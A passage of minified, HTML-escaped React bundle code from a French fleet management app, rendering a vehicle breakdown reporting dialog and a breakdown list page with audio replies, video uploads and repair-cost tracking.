space-y-4&quot;,children:[a.jsx(&quot;button&quot;,{type:&quot;button&quot;,onClick:q,disabled:!G(),className:&quot;w-24 h-24 md:w-28 md:h-28 rounded-full bg-white dark:bg-background border-4 border-primary/30 flex items-center justify-center cursor-pointer hover:border-primary/50 transition-all hover:scale-105 active:scale-95 disabled:opacity-50 disabled:cursor-not-allowed animate-pulse&quot;,children:a.jsx(F0,{className:&quot;h-10 w-10 md:h-12 md:w-12 text-primary&quot;})}),a.jsx(&quot;p&quot;,{className:&quot;text-sm md:text-base font-medium&quot;,children:&quot;Appuie pour parler&quot;}),!G()&amp;&amp;a.jsx(&quot;p&quot;,{className:&quot;text-xs text-orange-600 dark:text-orange-400 text-center&quot;,children:&quot;⚠️ HTTPS requis pour l&#039;enregistrement&quot;})]}),_&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col items-center space-y-4&quot;,children:[a.jsx(&quot;button&quot;,{type:&quot;button&quot;,onClick:ee,className:&quot;w-28 h-28 md:w-32 md:h-32 rounded-full bg-red-600 flex items-center justify-center cursor-pointer hover:bg-red-700 transition-all hover:scale-105 active:scale-95 shadow-lg ring-4 ring-red-200 dark:ring-red-900/50 animate-pulse&quot;,children:a.jsx(pg,{className:&quot;h-12 w-12 md:h-14 md:w-14 text-white&quot;})}),a.jsxs(&quot;div&quot;,{className:&quot;text-center&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-lg md:text-xl font-bold text-red-600 mb-1&quot;,children:J(O)}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Enregistrement en cours...&quot;})]})]}),T&amp;&amp;!_&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;bg-muted/50 rounded-xl p-4&quot;,children:a.jsxs(&quot;audio&quot;,{controls:!0,className:&quot;w-full h-12&quot;,children:[a.jsx(&quot;source&quot;,{src:T,type:&quot;audio/webm&quot;}),a.jsx(&quot;source&quot;,{src:T,type:&quot;audio/mpeg&quot;})]})}),a.jsxs(&quot;div&quot;,{className:&quot;flex gap-3&quot;,children:[a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,size:&quot;lg&quot;,onClick:ne,className:&quot;flex-1&quot;,children:[a.jsx(Ns,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Supprimer&quot;]}),a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,size:&quot;lg&quot;,onClick:q,className:&quot;flex-1&quot;,disabled:!G(),children:[a.jsx(F0,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Réenregistrer&quot;]})]})]})]}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm font-medium mb-2 text-center&quot;,children:&quot;Vidéo (optionnel - max 15s, 720p)&quot;}),w?a.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[a.jsx(&quot;video&quot;,{src:E||void 0,controls:!0,className:&quot;w-full h-48 md:h-64 object-cover rounded-xl border-2&quot;}),a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,size:&quot;lg&quot;,onClick:ue,className:&quot;w-full&quot;,children:[a.jsx(Ns,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Supprimer la vidéo&quot;]})]}):a.jsxs(&quot;label&quot;,{htmlFor:&quot;breakdown-video&quot;,className:&quot;block w-full border-2 border-dashed border-muted-foreground/30 rounded-xl p-8 md:p-12 text-center cursor-pointer hover:border-primary/50 transition-colors&quot;,children:[a.jsx(Xu,{className:&quot;h-12 w-12 md:h-16 md:w-16 text-muted-foreground mx-auto mb-3&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm md:text-base font-medium&quot;,children:&quot;Ajouter une vidéo&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground mt-1&quot;,children:&quot;Max 15 secondes, résolution 720p&quot;}),a.jsx(Xe,{id:&quot;breakdown-video&quot;,type:&quot;file&quot;,accept:&quot;video/*&quot;,capture:&quot;environment&quot;,onChange:V,className:&quot;hidden&quot;})]})]})]}),a.jsxs(Na,{className:&quot;gap-3 flex-col sm:flex-row pt-4 border-t&quot;,children:[a.jsx(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;de(!1),className:&quot;w-full sm:w-auto h-12&quot;,children:&quot;Annuler&quot;}),a.jsx(ge,{type:&quot;submit&quot;,className:&quot;bg-orange-600 hover:bg-orange-700 w-full sm:w-auto h-12 text-base font-semibold&quot;,disabled:!u||X,children:X?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),&quot;Envoi...&quot;]}):&quot;Signaler&quot;})]})]})]})]})}function T$e(){const{toast:e}=Er(),t=eo(),r=_r({mutationFn:({breakdownId:n,data:i})=&gt;GPe(n,i),onSuccess:()=&gt;{t.invalidateQueries({queryKey:[&quot;/api/breakdowns&quot;]}),t.invalidateQueries({queryKey:[&quot;/api/driver/mission&quot;]}),e({title:&quot;Message vocal envoyé au chauffeur&quot;,description:&quot;La réponse a été envoyée avec succès.&quot;})},onError:n=&gt;{e({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:n.message||&quot;Impossible d&#039;envoyer la réponse&quot;})}});return{respond:r.mutate,isResponding:r.isPending}}function R$e(){const[e,t]=I.useState(&quot;&quot;),[r,n]=I.useState(&quot;all&quot;),[i,s]=I.useState(null),[o,l]=I.useState(!1),{toast:c}=Er(),{data:d}=ih(),[u,h]=I.useState(null),[p,A]=I.useState(&quot;pending&quot;),[y,v]=I.useState(null),[w,j]=I.useState(null),[E,S]=I.useState(!1),[_,C]=I.useState(null),[Q,R]=I.useState(0),[T,M]=I.useState(null),[O,$]=I.useState([]),[P,L]=I.useState(&quot;&quot;),[X,W]=I.useState(&quot;&quot;),[G,J]=I.useState(&quot;&quot;),[q,ee]=I.useState(&quot;&quot;),ne=T$e(),{data:V=[]}=cr({queryKey:[&quot;/api/vehicles&quot;]}),{data:ue=[],isLoading:de}=cr({queryKey:[&quot;/api/breakdowns&quot;,r!==&quot;all&quot;?{vehicleId:parseInt(r)}:{}],queryFn:async()=&gt;{const ie=r!==&quot;all&quot;?`/api/breakdowns?vehicleId=${r}`:&quot;/api/breakdowns&quot;;return await $t(ie)}}),{data:xe=[],isLoading:_e}=cr({queryKey:[&quot;/api/voyages&quot;],queryFn:()=&gt;vy()}),{data:Ce=[],isLoading:we}=cr({queryKey:[&quot;/api/trips&quot;]}),{data:ve=[]}=cr({queryKey:[&quot;/api/crew-members&quot;]}),Ne=de||_e||we,Ie=_r({mutationFn:async ie=&gt;await $t(&quot;/api/breakdowns&quot;,{method:&quot;POST&quot;,body:ie}),onSuccess:()=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/breakdowns&quot;]}),c({title:&quot;Succès&quot;,description:&quot;La panne a été enregistrée avec succès&quot;})},onError:ie=&gt;{c({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:ie.message||&quot;Impossible d&#039;enregistrer la panne&quot;})}}),be=_r({mutationFn:async ie=&gt;{try{return await $t(`/api/breakdowns/${ie}`,{method:&quot;DELETE&quot;})}catch(ae){throw console.error(&quot;Error deleting breakdown:&quot;,ae),ae}},onSuccess:()=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/breakdowns&quot;]}),c({title:&quot;Succès&quot;,description:&quot;La panne a été supprimée avec succès&quot;}),s(null)},onError:ie=&gt;{console.error(&quot;Delete breakdown error:&quot;,ie),c({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:ie.message||&quot;Impossible de supprimer la panne. Vérifiez vos permissions.&quot;}),s(null)}});I.useMemo(()=&gt;{const ie=new Map;return Ce.forEach(ae=&gt;{if(ae.vehicleId){const Ee=ie.get(ae.vehicleId)||[];ie.set(ae.vehicleId,[...Ee,ae])}}),ie},[Ce]);const Re=I.useMemo(()=&gt;{const ie=new Map;return Ce.forEach(ae=&gt;{if(ae.vehicleId&amp;&amp;ae.missionId){const Ee=xe.find(re=&gt;re.id===ae.missionId);if(Ee){const re=ie.get(ae.vehicleId)||[];re.find(We=&gt;We.id===Ee.id)||ie.set(ae.vehicleId,[...re,Ee])}}}),ie},[Ce,xe]),Pe=I.useMemo(()=&gt;{const ie=new Map;return ue.forEach(ae=&gt;{const Ee=V.find(We=&gt;We.id===ae.vehicleId);if(!Ee)return;const re=Re.get(ae.vehicleId)||[];if(re.length&gt;0){const We=re[0],Tt=We.mainDriver||null;ie.has(We.id)||ie.set(We.id,{voyage:We,vehicle:Ee,driver:Tt,breakdowns:[]}),ie.get(We.id).breakdowns.push(ae)}}),Array.from(ie.values())},[ue,V,Re]),Ke=I.useMemo(()=&gt;ue.filter(ie=&gt;(Re.get(ie.vehicleId)||[]).length===0),[ue,Re]),tt=I.useMemo(()=&gt;e?Pe.map(ie=&gt;({...ie,breakdowns:ie.breakdowns.filter(ae=&gt;ae.type.toLowerCase().includes(e.toLowerCase())||ie.vehicle.immatriculation.toLowerCase().includes(e.toLowerCase())||ae.description?.toLowerCase().includes(e.toLowerCase())||ae.lieu?.toLowerCase().includes(e.toLowerCase())||ie.voyage.title?.toLowerCase().includes(e.toLowerCase()))})).filter(ie=&gt;ie.breakdowns.length&gt;0):Pe,[Pe,e]),pt=I.useMemo(()=&gt;e?Ke.filter(ie=&gt;{const ae=V.find(Ee=&gt;Ee.id===ie.vehicleId);return ie.type.toLowerCase().includes(e.toLowerCase())||ae?.immatriculation.toLowerCase().includes(e.toLowerCase())||ie.description?.toLowerCase().includes(e.toLowerCase())||ie.lieu?.toLowerCase().includes(e.toLowerCase())}):Ke,[Ke,e,V]),dt=ie=&gt;{if(!ie)return null;try{const ae=typeof ie==&quot;string&quot;?JSON.parse(ie):ie;if(!Array.isArray(ae)||ae.length===0)return null;const Ee=ae.reduce((re,We)=&gt;re+We.quantity*We.unitCost,0);return a.jsxs(&quot;div&quot;,{className:&quot;space-y-1&quot;,children:[ae.map((re,We)=&gt;a.jsxs(&quot;div&quot;,{className:&quot;text-xs&quot;,children:[a.jsx(&quot;span&quot;,{className:&quot;font-medium&quot;,children:re.name}),&quot; &quot;,&quot;× &quot;,re.quantity,&quot; = &quot;,(re.quantity*re.unitCost).toLocaleString(),&quot; FCFA&quot;]},We)),a.jsxs(&quot;div&quot;,{className:&quot;text-xs font-medium&quot;,children:[&quot;Total pièces: &quot;,Ee.toLocaleString(),&quot; FCFA&quot;]})]})}catch{return null}},Oe=ie=&gt;{Ie.mutate(ie)},Pt=ie=&gt;{s(ie)},Kt=()=&gt;{i&amp;&amp;be.mutate(i)},gt=d&amp;&amp;typeof d==&quot;object&quot;&amp;&amp;d!==null&amp;&amp;&quot;role&quot;in d&amp;&amp;(d.role===&quot;admin&quot;||d.role===&quot;gestionnaire_parc&quot;||d.role===&quot;atelier&quot;),Jt=ie=&gt;{h(ie);const ae=ie.status||&quot;pending&quot;;A(ae===&quot;pending&quot;?&quot;in_progress&quot;:ae),v(null),j(ie.responseAudioUrl||null),S(!1),C(null),R(0);const re=ie.replacedParts?typeof ie.replacedParts==&quot;string&quot;?JSON.parse(ie.replacedParts):ie.replacedParts:[];$(Array.isArray(re)?re:[]),L(ie.laborCost?.toString()||&quot;&quot;),W(&quot;&quot;),J(&quot;&quot;),ee(&quot;&quot;)},Bt=()=&gt;{h(null),A(&quot;pending&quot;),v(null),w&amp;&amp;(URL.revokeObjectURL(w),j(null)),S(!1),_&amp;&amp;(_.stop(),C(null)),T&amp;&amp;(clearInterval(T),M(null)),R(0),$([]),L(&quot;&quot;),W(&quot;&quot;),J(&quot;&quot;),ee(&quot;&quot;)},tr=()=&gt;{if(!X.trim()||!G||!q){c({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Veuillez remplir tous les champs de la pièce&quot;});return}const ie=parseFloat(G),ae=parseFloat(q);if(isNaN(ie)||ie&lt;=0||isNaN(ae)||ae&lt;0){c({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;La quantité et le coût unitaire doivent être des nombres valides&quot;});return}$([...O,{name:X.trim(),quantity:ie,unitCost:ae}]),W(&quot;&quot;),J(&quot;&quot;),ee(&quot;&quot;)},sr=ie=&gt;{$(O.filter((ae,Ee)=&gt;Ee!==ie))},xt=I.useMemo(()=&gt;O.reduce((ie,ae)=&gt;ie+ae.quantity*ae.unitCost,0),[O]),wt=I.useMemo(()=&gt;{const ie=parseFloat(P)||0;return xt+ie},[xt,P]),Lt=ie=&gt;{const ae=Math.floor(ie/60),Ee=ie%60;return`${ae.toString().padStart(2,&quot;0&quot;)}:${Ee.toString().padStart(2,&quot;0&quot;)}`},ir=I.useMemo(()=&gt;!!(typeof navigator&lt;&quot;u&quot;&amp;&amp;navigator.mediaDevices&amp;&amp;typeof navigator.mediaDevices.getUserMedia==&quot;function&quot;&amp;&amp;typeof window&lt;&quot;u&quot;&amp;&amp;typeof window.MediaRecorder&lt;&quot;u&quot;&amp;&amp;(window.location.protocol===&quot;https:&quot;||window.location.hostname===&quot;localhost&quot;||window.location.hostname===&quot;127.0.0.1&quot;)),[]),He=async()=&gt;{try{if(!navigator.mediaDevices||!navigator.mediaDevices.getUserMedia){c({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Votre navigateur ne supporte pas l&#039;enregistrement audio.&quot;});return}if(!window.MediaRecorder){c({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Votre navigateur ne supporte pas l&#039;enregistrement audio.&quot;});return}const ie=await navigator.mediaDevices.getUserMedia({audio:{echoCancellation:!0,noiseSuppression:!0,autoGainControl:!0}}),ae=[&quot;audio/webm&quot;,&quot;audio/webm;codecs=opus&quot;,&quot;audio/ogg;codecs=opus&quot;,&quot;audio/mp4&quot;,&quot;audio/mpeg&quot;];let Ee=&quot;&quot;;for(const ze of ae)if(MediaRecorder.isTypeSupported(ze)){Ee=ze;break}const re=Ee?{mimeType:Ee}:{},We=new MediaRecorder(ie,re),Tt=[];We.ondataavailable=ze=&gt;{ze.data.size&gt;0&amp;&amp;Tt.push(ze.data)},We.onstop=()=&gt;{const ze=new Blob(Tt,{type:We.mimeType||&quot;audio/webm&quot;});v(ze);const Ze=URL.createObjectURL(ze);j(Ze),ie.getTracks().forEach(he=&gt;he.stop()),T&amp;&amp;(clearInterval(T),M(null)),R(0)},We.onerror=ze=&gt;{console.error(&quot;MediaRecorder error:&quot;,ze),c({variant:&quot;destructive&quot;,title:&quot;Erreur d&#039;enregistrement&quot;,description:&quot;Une erreur s&#039;est produite pendant l&#039;enregistrement.&quot;}),ie.getTracks().forEach(Ze=&gt;Ze.stop()),S(!1),C(null)},We.start(),C(We),S(!0),R(0);const H=setInterval(()=&gt;{R(ze=&gt;ze+1)},1e3);M(H)}catch(ie){console.error(&quot;Error starting recording:&quot;,ie),c({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Impossible d&#039;accéder au microphone. Vérifiez les permissions.&quot;})}},ce=()=&gt;{_&amp;&amp;E&amp;&amp;(_.stop(),S(!1),C(null),T&amp;&amp;(clearInterval(T),M(null)))},Le=()=&gt;{w&amp;&amp;(URL.revokeObjectURL(w),j(null)),v(null)},rt=async()=&gt;{if(!u)return;let ie=null;if(y)try{const H=new File([y],&quot;response-audio.webm&quot;,{type:y.type});ie=(await Ane(H)).url}catch(H){console.error(&quot;Error uploading response audio:&quot;,H),c({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Impossible d&#039;uploader l&#039;enregistrement audio&quot;});return}else u.responseAudioUrl&amp;&amp;(ie=u.responseAudioUrl);let ae=p;(u.status||&quot;pending&quot;)===&quot;pending&quot;&amp;&amp;(ie||p!==&quot;pending&quot;)&amp;&amp;p===&quot;pending&quot;?ae=&quot;in_progress&quot;:ae=p;const re=O.length&gt;0?O:null,We=P?parseFloat(P):null,Tt=wt&gt;0?wt:null;ne.respond({breakdownId:u.id,data:{status:ae,responseAudioUrl:ie,replacedParts:re,laborCost:We,totalRepairCost:Tt}}),Bt()};return a.jsxs(&quot;div&quot;,{className:&quot;space-y-4 md:space-y-6 pb-20 md:pb-0&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col md:flex-row md:items-start md:justify-between gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;h1&quot;,{className:&quot;text-xl md:text-2xl font-semibold&quot;,&quot;data-testid&quot;:&quot;text-page-title&quot;,children:&quot;Pannes et alertes&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Consultez les problèmes signalés par les chauffeurs et répondez-leur&quot;})]}),r!==&quot;all&quot;&amp;&amp;a.jsx(D$e,{vehicleId:parseInt(r),onAdd:Oe,open:o,onOpenChange:l})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col md:flex-row items-stretch md:items-center gap-3&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;relative flex-1&quot;,children:[a.jsx(rf,{className:&quot;absolute left-3 top-1/2 -translate-y-1/2 h-4 w-4 text-muted-foreground&quot;}),a.jsx(Xe,{placeholder:&quot;Rechercher...&quot;,value:e,onChange:ie=&gt;t(ie.target.value),className:&quot;pl-9 h-12&quot;,&quot;data-testid&quot;:&quot;input-search&quot;})]}),a.jsxs(rn,{value:r,onValueChange:n,children:[a.jsx(Xr,{className:&quot;h-12 w-full md:w-[200px]&quot;,children:a.jsx(nn,{placeholder:&quot;Tous les véhicules&quot;})}),a.jsxs(en,{children:[a.jsx(Qt,{value:&quot;all&quot;,children:&quot;Tous les véhicules&quot;}),V.map(ie=&gt;a.jsx(Qt,{value:ie.id.toString(),children:ie.immatriculation},ie.id))]})]})]}),Ne?a.jsx(&quot;div&quot;,{className:&quot;flex justify-center items-center py-12&quot;,children:a.jsx(Nt,{className:&quot;h-8 w-8 animate-spin text-primary&quot;})}):a.jsxs(a.Fragment,{children:[tt.length&gt;0&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;space-y-6&quot;,children:tt.map(ie=&gt;a.jsxs(it,{className:&quot;overflow-hidden&quot;,children:[a.jsx(br,{className:&quot;pb-3&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-start gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 flex-shrink-0&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;relative w-16 h-16 rounded-lg overflow-hidden border-2 border-primary/20 bg-muted&quot;,children:ie.vehicle.photoUrl?a.jsx(&quot;img&quot;,{src:Sr(ie.vehicle.photoUrl)||void 0,alt:ie.vehicle.immatriculation,className:&quot;w-full h-full object-cover&quot;}):a.jsx(&quot;div&quot;,{className:&quot;w-full h-full flex items-center justify-center&quot;,children:a.jsx(Fa,{className:&quot;h-6 w-6 text-muted-foreground&quot;})})}),ie.driver&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;relative w-16 h-16 rounded-lg overflow-hidden border-2 border-primary/20 bg-muted&quot;,children:ie.driver.photoUrl?a.jsx(&quot;img&quot;,{src:Sr(ie.driver.photoUrl)||void 0,alt:`${ie.driver.prenom} ${ie.driver.nom}`,className:&quot;w-full h-full object-cover&quot;}):a.jsx(&quot;div&quot;,{className:&quot;w-full h-full flex items-center justify-center&quot;,children:a.jsx(nh,{className:&quot;h-6 w-6 text-muted-foreground&quot;})})})]}),a.jsx(&quot;div&quot;,{className:&quot;flex-1 min-w-0&quot;,children:a.jsx(&quot;div&quot;,{className:&quot;flex items-start justify-between gap-2&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0&quot;,children:[a.jsx(jm,{href:`/voyages/${ie.voyage.id}`,children:a.jsx(jr,{className:&quot;text-lg hover:text-primary cursor-pointer&quot;,children:ie.voyage.title})}),a.jsxs(wn,{className:&quot;mt-1&quot;,children:[ie.voyage.code,&quot; • &quot;,ie.vehicle.immatriculation,ie.driver&amp;&amp;` • ${ie.driver.prenom} ${ie.driver.nom}`]}),a.jsx(&quot;div&quot;,{className:&quot;mt-2&quot;,children:a.jsxs(yt,{variant:&quot;outline&quot;,className:&quot;text-xs&quot;,children:[ie.breakdowns.length,&quot; panne&quot;,ie.breakdowns.length&gt;1?&quot;s&quot;:&quot;&quot;]})})]})})})]})}),a.jsx(Et,{children:a.jsx(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-4&quot;,children:ie.breakdowns.map(ae=&gt;{const Ee=ae;return a.jsxs(it,{className:&quot;overflow-hidden border-red-200&quot;,children:[Ee.photoUrl&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;relative w-full aspect-video overflow-hidden rounded-t-xl bg-muted mb-3&quot;,children:[a.jsx(&quot;img&quot;,{src:Sr(Ee.photoUrl)||void 0,alt:ae.type,className:&quot;w-full h-full object-cover&quot;,onError:re=&gt;{re.target.style.display=&quot;none&quot;}}),a.jsx(&quot;div&quot;,{className:&quot;absolute top-3 left-3 z-10&quot;,children:a.jsx(ge,{size:&quot;icon&quot;,variant:&quot;secondary&quot;,className:&quot;h-12 w-12 rounded-full bg-background/90 backdrop-blur-sm border shadow-sm border-red-300 bg-red-50/90 hover:bg-red-100/90 cursor-pointer p-0&quot;,onClick:re=&gt;{re.stopPropagation(),Jt(ae)},title:&quot;Traiter la panne&quot;,children:a.jsx(&quot;span&quot;,{className:&quot;text-2xl&quot;,children:$A[ae.type]||$A.Autre})})}),a.jsx(Wv,{type:&quot;breakdown&quot;,data:{immatriculation:ie.vehicle.immatriculation}})]}),ae.videoUrl&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;px-4 pb-3&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 mb-2&quot;,children:[a.jsx(Xu,{className:&quot;h-4 w-4 text-primary&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm font-medium&quot;,children:&quot;Vidéo du problème&quot;})]}),a.jsxs(&quot;video&quot;,{controls:!0,className:&quot;w-full rounded-lg&quot;,children:[a.jsx(&quot;source&quot;,{src:ae.videoUrl,type:&quot;video/mp4&quot;}),a.jsx(&quot;source&quot;,{src:ae.videoUrl,type:&quot;video/webm&quot;}),a.jsx(&quot;source&quot;,{src:ae.videoUrl,type:&quot;video/quicktime&quot;}),&quot;Votre navigateur ne supporte pas l&#039;élément vidéo.&quot;]})]}),ae.audioUrl&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;px-4 pb-3&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 mb-2&quot;,children:[a.jsx(F0,{className:&quot;h-4 w-4 text-primary&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm font-medium&quot;,children:&quot;Message audio du chauffeur&quot;})]}),a.jsxs(&quot;audio&quot;,{controls:!0,className:&quot;w-full h-10&quot;,children:[a.jsx(&quot;source&quot;,{src:ae.audioUrl,type:&quot;audio/webm&quot;}),a.jsx(&quot;source&quot;,{src:ae.audioUrl,type:&quot;audio/mpeg&quot;}),&quot;Votre navigateur ne supporte pas l&#039;élément audio.&quot;]})]}),a.jsx(br,{className:&quot;pb-3&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-start justify-between gap-2&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex-1&quot;,children:[!Ee.photoUrl&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;flex items-center gap-3 mb-2&quot;,children:a.jsx(XF,{type:ae.type,variant:&quot;breakdown&quot;,size:&quot;md&quot;})}),a.jsx(&quot;div&quot;,{className:&quot;flex items-center gap-2 mb-2&quot;,children:a.jsx(v6,{type:ae.type,variant:&quot;breakdown&quot;,size:&quot;sm&quot;})}),a.jsx(jr,{className:&quot;text-base text-red-900&quot;,children:ae.type})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-1&quot;,children:[a.jsx(N1,{cardData:{type:&quot;breakdown&quot;,title:ae.type,details:{type:ae.type,vehicule:ie.vehicle.immatriculation,date:Wr(new Date(ae.date),&quot;dd/MM/yyyy&quot;,{locale:Hr}),lieu:ae.lieu||void 0,cout:ae.cout?`${ae.cout.toLocaleString()} FCFA`:void 0,description:ae.description||void 0}},size:&quot;sm&quot;}),gt&amp;&amp;a.jsxs(ge,{size:&quot;sm&quot;,variant:&quot;default&quot;,onClick:()=&gt;Jt(ae),className:&quot;flex items-center gap-2&quot;,title:&quot;Traiter la panne&quot;,children:[a.jsx(xm,{className:&quot;h-4 w-4&quot;}),a.jsx(&quot;span&quot;,{className:&quot;hidden sm:inline&quot;,children:&quot;Traiter&quot;})]}),a.jsx(ge,{size:&quot;icon&quot;,variant:&quot;ghost&quot;,onClick:()=&gt;Pt(ae.id),className:&quot;h-8 w-8 flex-shrink-0&quot;,children:a.jsx(Ns,{className:&quot;h-4 w-4&quot;})})]})]})}),a.jsxs(Et,{className:&quot;space-y-2 text-sm md:space-y-3&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-2 md:gap-3&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;span&quot;,{className:&quot;text-muted-foreground text-xs&quot;,children:&quot;Date: &quot;}),a.jsx(&quot;span&quot;,{className:&quot;font-medium&quot;,children:Wr(new Date(ae.date),&quot;dd/MM/yyyy&quot;,{locale:Hr})})]}),ae.cout&amp;&amp;a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;span&quot;,{className:&quot;text-muted-foreground text-xs&quot;,children:&quot;Coût: &quot;}),a.jsxs(&quot;span&quot;,{className:&quot;font-semibold text-base&quot;,children:[ae.cout.toLocaleString(),&quot; FCFA&quot;]})]})]}),ae.lieu&amp;&amp;a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;span&quot;,{className:&quot;text-muted-foreground text-xs&quot;,children:&quot;Lieu: &quot;}),a.jsx(&quot;span&quot;,{className:&quot;font-medium&quot;,children:ae.lieu})]}),ae.description&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;pt-2 border-t&quot;,children:a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground text-xs md:text-sm&quot;,children:ae.description})}),ae.actionReparative&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;pt-2 border-t&quot;,children:a.jsxs(&quot;p&quot;,{className:&quot;text-muted-foreground text-xs md:text-sm&quot;,children:[a.jsx(&quot;span&quot;,{className:&quot;font-medium&quot;,children:&quot;Action réparative: &quot;}),ae.actionReparative]})}),a.jsxs(&quot;div&quot;,{className:&quot;pt-2 border-t space-y-2&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between&quot;,children:[a.jsx(&quot;span&quot;,{className:&quot;text-muted-foreground text-xs&quot;,children:&quot;Statut: &quot;}),a.jsx(yt,{variant:&quot;outline&quot;,className:ae.status===&quot;resolved&quot;?&quot;bg-green-100 text-green-800 border-green-300&quot;:ae.status===&quot;in_progress&quot;?&quot;bg-blue-100 text-blue-800 border-blue-300&quot;:&quot;bg-orange-100 text-orange-800 border-orange-300&quot;,children:ae.status===&quot;resolved&quot;?&quot;Pris en charge&quot;:ae.status===&quot;in_progress&quot;?&quot;En cours&quot;:&quot;En attente&quot;})]}),ae.responseAudioUrl&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;space-y-1&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground text-xs font-medium&quot;,children:&quot;Réponse du bureau:&quot;}),a.jsxs(&quot;audio&quot;,{controls:!0,className:&quot;w-full h-8&quot;,children:[a.jsx(&quot;source&quot;,{src:ae.responseAudioUrl,type:&quot;audio/webm&quot;}),a.jsx(&quot;source&quot;,{src:ae.responseAudioUrl,type:&quot;audio/mpeg&quot;}),&quot;Votre navigateur ne supporte pas l&#039;élément audio.&quot;]}),ae.responseCreatedAt&amp;&amp;a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:Wr(new Date(ae.responseCreatedAt),&quot;dd/MM/yyyy HH:mm&quot;,{locale:Hr})})]})]})]})]},ae.id)})})})]},ie.voyage.id))}),pt.length&gt;0&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(&quot;h2&quot;,{className:&quot;text-lg font-semibold&quot;,children:&quot;Pannes non liées à une mission&quot;}),a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;text-xs&quot;,children:pt.length})]}),a.jsx(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-4&quot;,children:pt.map(ie=&gt;{const ae=V.find(re=&gt;re.id===ie.vehicleId),Ee=ie;return a.jsxs(it,{className:&quot;overflow-hidden border-red-200&quot;,children:[Ee.photoUrl&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;relative w-full aspect-video overflow-hidden rounded-t-xl bg-muted mb-3&quot;,children:[a.jsx(&quot;img&quot;,{src:Sr(Ee.photoUrl)||void 0,alt:ie.type,className:&quot;w-full h-full object-cover&quot;,onError:re=&gt;{re.target.style.display=&quot;none&quot;}}),a.jsx(&quot;div&quot;,{className:&quot;absolute top-3 left-3 z-10&quot;,children:a.jsx(ge,{size:&quot;icon&quot;,variant:&quot;secondary&quot;,className:&quot;h-12 w-12 rounded-full bg-background/90 backdrop-blur-sm border shadow-sm border-red-300 bg-red-50/90 hover:bg-red-100/90 cursor-pointer p-0&quot;,onClick:re=&gt;{re.stopPropagation(),Jt(ie)},title:&quot;Traiter la 